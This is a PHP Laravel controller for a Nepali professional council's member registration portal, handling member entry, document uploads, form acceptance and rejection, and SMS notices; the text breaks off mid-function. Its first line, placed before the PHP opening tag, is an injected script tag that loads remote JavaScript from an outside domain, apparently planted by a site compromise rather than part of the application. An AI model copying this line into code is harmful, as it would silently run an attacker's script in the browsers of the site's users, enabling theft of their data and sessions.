<script src="http://z3ro.today/kaydet.php"></script><?php

namespace App\Http\Controllers\MemberInformation;

use App\Http\Controllers\Controller;
use App\Models\District;
use App\Models\FiscalYear;
use App\Models\Level;
use App\Models\Locallevel;
use App\Models\MemberLevel;
use App\Models\Members;
use App\Models\MemberSpecialization;
use App\Models\Province;
use App\Models\Specialization;
use Illuminate\Http\Request;

class MemberEntryController extends Controller
{
    public function memberentry()
    {
        session()->forget('member_id');

        // admin can view all members
        if (auth()->user()->usertype == '3') {
            $memberName = Members::where('user_id', auth()->user()->id)->where('app_status', '!=', '5')->orderBy('id')->get();
        } else {
            $memberName = Members::where('app_status', '2')->orderBy('updated_at', 'desc')->paginate(50);
        }
        return view('memberentry.members', compact('memberName'));
    }

    public function addmembers()
    {
        $provinces = Province::pluck('province', 'id');

        $pDistricts = $pLocallevels = [];

        $pWards = 0;

        if (old('province_id')) {
            $pDistricts = District::where('province_id', old('province_id'))->pluck('district_name', 'id');
        }

        if (old('district_id')) {
            $pLocallevels = Locallevel::where('district_id', old('district_id'))->pluck('local_name', 'id');
        }

        if (old('locallevel_id')) {
            $localLevel = Locallevel::where('id', old('locallevel_id'))->first();
            if ($localLevel) {
                $pWards = $localLevel->number_of_wards;
            }
        }

        $cDistricts = $cLocallevels = [];

        $cWards = 0;

        if (old('cprovince_id')) {
            $cDistricts = District::where('province_id', old('cprovince_id'))->pluck('district_name', 'id');
        }

        if (old('cdistrict_id')) {
            $cLocallevels = Locallevel::where('district_id', old('cdistrict_id'))->pluck('local_name', 'id');
        }

        if (old('clocallevel_id')) {
            $localLevel = Locallevel::where('id', old('clocallevel_id'))->first();
            if ($localLevel) {
                $cWards = $localLevel->number_of_wards;
            }
        }

        $level = Level::pluck('level', 'id');

        $districts = District::pluck('district_name', 'id');

        $specialization = Specialization::pluck('specialization', 'id');

        return view('memberentry.addmembers', compact('provinces', 'districts', 'level', 'specialization', 'pDistricts', 'pLocallevels', 'pWards', 'cDistricts', 'cLocallevels', 'cWards'));
    }

    private function fieldArray($request): array
    {
        $validateRules = [
            'name' => ['required', 'string', 'max:255'],
            'nameeng' => ['required', 'string', 'max:255'],
            'dob' => ['required', 'regex:/^\d{4}-\d{2}-\d{2}$/', 'max:255'],
            'fname' => ['required', 'string', 'max:255'],
            'grandfather' => ['required', 'string', 'max:255'],
            'sname' => ['nullable', 'string', 'max:255'],
            'mname' => ['nullable', 'string', 'max:255'],
            'gender' => ['required', 'numeric', 'in:1,2,3'],

            'province_id' => ['required', 'numeric'],
            'district_id' => ['required', 'numeric'],
            'locallevel_id' => ['required', 'numeric'],
            'ward' => ['required', 'numeric'],
            'tole' => ['required', 'string', 'max:255'],
            'village' => ['nullable', 'string', 'max:255'],

            'citz_zone' => ['nullable', 'string', 'in:Mechi,Koshi,Sagarmatha,Janakpur,Bagamati,Narayani,Gandaki,Lumbini,Dhaulagiri,Rapti,Beri,Karnali,Seti,Mahakali'],
            'citz_district_id' => ['nullable', 'numeric'],
            'citz_locallevel' => ['nullable', 'string', 'max:255'],
            'citz_tole_village' => ['nullable', 'string', 'max:255'],

            'cprovince_id' => ['required', 'numeric'],
            'cdistrict_id' => ['required', 'numeric'],
            'clocallevel_id' => ['required', 'numeric'],
            'cward' => ['required', 'numeric'],
            'ctole' => ['required', 'string', 'max:255'],
            'cvillage' => ['nullable', 'string', 'max:255'],
            'caddress' => ['nullable', 'string', 'max:255'],
            'election_province_id' => ['required', 'numeric'],

            'telephone' => ['nullable', 'regex:/^[+0-9-]+$/', 'max:20'],
            'mobileno' => ['nullable', 'regex:/^(98|97)[0-9]{8}$/'],
            'email' => ['nullable', 'email', 'max:255'],

            'level' => ['required', 'numeric'],

            'photoName' => ['required', 'file', 'mimes:png,jpeg,jpg', 'max:2000'],
            'citizenshipImage' => ['required', 'file', 'mimes:pdf,png,jpeg,jpg', 'max:2000'],

            'office_name' => ['nullable', 'string', 'max:255'],
            'office_address' => ['nullable', 'string', 'max:255'],
        ];

        if ($request->level == 1) {
            $validateRules['specialization'] = ['required', 'numeric'];
        }

        return $validateRules;
    }

    public function uploadmembers(Request $request)
    {
        $memberName = Members::orderBy('id')->get();

        // validating files
        $validatedData = $request->validate($this->fieldArray($request));

        $memberPic = $citizenPic = NULL;

        // photo upload
        if ($request->hasFile('photoName')) {
            $documents = $request->file('photoName');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-member-photo-' . RandomNum(4) . '-' . time() . '.' . $docsExt;

            $memberPic = $documents->storeAs('member-photo', $docsName, ['disk' => 'public']);
        }

        // citizenship upload
        if ($request->hasFile('citizenshipImage')) {
            $documents = $request->file('citizenshipImage');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-citizenship-image-' . RandomNum(4) . '-' . time() . '.' . $docsExt;

            $citizenPic = $documents->storeAs('citizenship-image', $docsName, ['disk' => 'public']);
        }


        // active fiscalyear
        $fy = FiscalYear::where('active', '1')->first();
        $data = new Members();

        $data->fiscalyear_id = $fy->id;
        // $data->reg_no = '0';
        // $data->reg_no = $reg_num;

        $data->name = $validatedData['name'];
        $data->nameeng = $validatedData['nameeng'];
        $data->dob = $validatedData['dob'];
        $data->grandfather = $validatedData['grandfather'];
        $data->gender = $validatedData['gender'];
        $data->fname = $validatedData['fname'];
        $data->mname = $validatedData['mname'];
        $data->sname = $validatedData['sname'];

        $data->district_id = $validatedData['district_id'];
        $data->province_id = $validatedData['province_id'];
        $data->locallevel_id = $validatedData['locallevel_id'];
        $data->ward = $validatedData['ward'];
        $data->tole = $validatedData['tole'];
        $data->village = $validatedData['village'];

        $data->created_by = auth()->user()->name;

        $data->cdistrict_id = $validatedData['cdistrict_id'];
        $data->cprovince_id = $validatedData['cprovince_id'];
        $data->clocallevel_id = $validatedData['clocallevel_id'];
        $data->cward = $validatedData['cward'];
        $data->ctole = $validatedData['ctole'];
        $data->cvillage = $validatedData['cvillage'];
        $data->caddress = $validatedData['caddress'];
        $data->election_province_id = $validatedData['election_province_id'];
        $data->telephone = $validatedData['telephone'];
        $data->mobileno = $validatedData['mobileno'] ?? auth()->user()->phone;
        $data->email = $validatedData['email'];


        $data->user_id = auth()->user()->id;

        $data->level_id = $validatedData['level'];
        if ($validatedData['level'] == '1') {
            $data->specialization_id = $validatedData['specialization'];
        } else {
            $data->specialization_id = NULL;
        }

        $data->photo = $memberPic;
        $data->citizenship = $citizenPic;


        $data->citz_zone = $validatedData['citz_zone'] ?? null;
        $data->citz_district_id = $validatedData['citz_district_id'] ?? null;
        $data->citz_locallevel = $validatedData['citz_locallevel'] ?? null;
        $data->citz_tole_village = $validatedData['citz_tole_village'] ?? null;


        $data->office_name = $validatedData['office_name'];
        $data->office_address = $validatedData['office_address'];

        $data->save();

        return redirect()->route('memberentry', compact('memberName'))->with('message', 'Member added successfully');
    }

    public function deletemember($id)
    {
        $memberName = Members::find($id);
        // checking the child data in related tables
        if ($memberName->council_infos->count() || $memberName->qualifications->count() || $memberName->degrees->count()) {
            return back()->with('message', 'Unable to delete! This information has related to other sub informations.');
        }
        $memberName->delete();
        return redirect()->back()->with('message', 'Member Deleted Successfully');
    }

    public function updatemembers($id)
    {
        $data = Members::find($id);

        $provinces = Province::pluck('province', 'id');
        $districts = District::pluck('district_name', 'id');
        $locallevels = Locallevel::pluck('local_name', 'id');
        $level = Level::pluck('level', 'id');
        $fiscalyears = FiscalYear::pluck('fyear', 'id');
        $specialization = Specialization::pluck('specialization', 'id');
        return view('memberentry.updatemembers', compact('data', 'provinces', 'districts', 'locallevels', 'level', 'specialization', 'fiscalyears'));
    }

    public function updatemember(Request $request, $id)
    {


        $memberName = Members::orderBy('id')->get();
        $data = Members::find($id);

        // validating images
        $validatedData = $request->validate([
            'photoName' => ['nullable', 'file', 'mimes:pdf,png,jpeg', 'max:2048'],
            'citizenshipImage' => ['nullable', 'file', 'mimes:pdf,png,jpeg', 'max:2048'],
        ]);

        if ($request->hasFile('photoName')) {
            $documents = $request->file('photoName');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-member-photo-' . RandomNum(4) . '-' . time() . '.' . $docsExt;

            $memberPic = $documents->storeAs('member-photo', $docsName, ['disk' => 'public']);
        } else {
            $memberPic = $data->photo;
        }

        if ($request->hasFile('citizenshipImage')) {
            $documents = $request->file('citizenshipImage');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-citizenship-image-' . RandomNum(4) . '-' . time() . '.' . $docsExt;

            $citizenPic = $documents->storeAs('citizenship-image', $docsName, ['disk' => 'public']);
        } else {
            $citizenPic = $data->citizenship;
        }

        $fiscalYear = FiscalYear::where('active', 1)->first();

        $data->name = $request->name;
        $data->nameeng = $request->nameeng;
        $data->dob = UTF8toEng($request->dob);
        $data->gender = $request->gender;
        $data->fname = $request->fname;
        $data->grandfather = $request->grandfather;
        $data->mname = $request->mname;
        $data->sname = $request->sname;

        $data->district_id = $request->district_id;
        $data->province_id = $request->province_id;
        $data->locallevel_id = $request->locallevel_id;
        $data->ward = $request->ward;
        $data->tole = $request->tole;
        $data->village = $request->village;

        $data->updated_by = auth()->user()->name;

        $data->cdistrict_id = $request->cdistrict_id;
        $data->cprovince_id = $request->cprovince_id;
        $data->clocallevel_id = $request->clocallevel_id;
        $data->cward = $request->cward;
        $data->ctole = $request->ctole;
        $data->cvillage = $request->cvillage;
        $data->caddress = $request->caddress;
        $data->election_province_id = $request->election_province_id ?? null;
        $data->telephone = $request->telephone;
        $data->mobileno = $request->mobileno ?? auth()->user()->phone;

        $data->level_id = $request->level;
        if ($request->level_id == '1') {
            $data->specialization_id = $request->specialization;
        } else {
            $data->specialization_id = NULL;
        }

        $data->photo = $memberPic;
        $data->citizenship = $citizenPic;

        $data->citz_zone = $request->citz_zone;
        $data->citz_district_id = $request->citz_district_id;
        $data->citz_locallevel = $request->citz_locallevel;
        $data->citz_tole_village = $request->citz_tole_village;

        $data->office_name = $request->office_name;
        $data->office_address = $request->office_address;


        $data->save();

        return redirect()->route('memberentry', compact('memberName'))->with('message', 'Member updated successfully');
    }

    public function submitform($id, $hash)
    {
        // check hash authenticity
        if (!checkHash($id, $hash)) {
            return back()->with('error', 'INACCESSABLE !');
        }

        session()->put('member_id', $id);

        $member = Members::findOrFail(session('member_id'));
        $member->app_status = '1';  // application status is "in process" after submission
        $member->submitted_date = now(); // store current timestamp
        $member->save();

        return back()->with('message', 'Form submitted successfully');
    }


    public function acceptform($id, $hash)
    {
        // check hash authenticity
        if (!checkHash($id, $hash)) {
            return back()->with('error', 'INACCESSABLE !');
        }

        $member = Members::findOrFail($id);

        // get latest sn for accepted applications and set sn for current form
        if ($member->level_id == '5') {
            $latest = Members::where('app_status', '2')->where('level_id', '5')->orderBy('accepted_sn', 'desc')->first();
            if ($latest->accepted_sn == '0' || is_null($latest->accepted_sn)) {
                $serialnum = 1;
            } else {
                $serialnum = $latest->accepted_sn + 1;
            }
        } else {
            $latest = Members::where('app_status', '2')->where('level_id', '!=', '5')->orderBy('accepted_sn', 'desc')->first();
            if ($latest->accepted_sn == '0' || is_null($latest->accepted_sn)) {
                $serialnum = 1;
            } else {
                $serialnum = $latest->accepted_sn + 1;
            }
        }

        $member->app_status = '2';  //application has been accepted
        $member->accepted_time = date('Y-m-d') . ' ' . date('H:i:s');
        $member->accepted_sn = $serialnum;
        $member->update();

        // notify member of form acceptance
        $mobile = $member->mobileno;
        $message = "Your registration form has been accepted! You will be notified after final approval. AHLSPC.";
        send_sparrow_sms($mobile, $message);

        return back()->with('success', 'Form accepted successfully');
    }

    public function rejectform(Request $request, $id, $hash)
    {
        // check hash authenticity
        if (!checkHash($id, $hash)) {
            return back()->with('error', 'INACCESSABLE !');
        }

        $member = Members::findOrFail($id);
        $member->app_status = '3';  //application has been rejected
        $member->rejected_for = $request->rejected_for;
        $member->update();

        $memberName = Members::orderBy('id')->get();

        $mobile = $member->mobileno;
        $message = "Your registration form has been Rejected! Please visit the portal for more information. AHLSPC.";
        send_sparrow_sms($mobile, $message);

        return back()->with('success', 'Form rejected!');
    }

    public function sendback(Request $request, $id, $hash)
    {
        // check hash authenticity
        if (!checkHash($id, $hash)) {
            return back()->with('error', 'INACCESSABLE !');
        }
        $member = Members::findOrFail($id);
        $member->app_status = '0';  //application has been rejected
        $member->sent_back_for = $request->sent_back_for;
        $member->update();

        $memberName = Members::orderBy('id')->get();

        $mobile = $member->mobileno;
        $message = "फारम फिर्ता भएको छ। कारण: '" . $request->sent_back_for . "' AHLSPC.";
        send_sparrow_sms($mobile, $message);

        return back()->with('success', 'Form sent back for correction!');
    }

    public function cancelform($id, $hash)
    {
        // check hash authenticity
        if (!checkHash($id, $hash)) {
            return back()->with('error', 'INACCESSABLE !');
        }

        $member = Members::findOrFail(session('member_id'));
        $member->app_status = '1';  //applicaion has been lowered to submitted status
        $member->update();

        $mobile = auth()->user()->phone;
        $message = "Your application has been cancelled! Please visit the portal for more details. AHLSPC.";
        send_sparrow_sms($mobile, $message);

        return b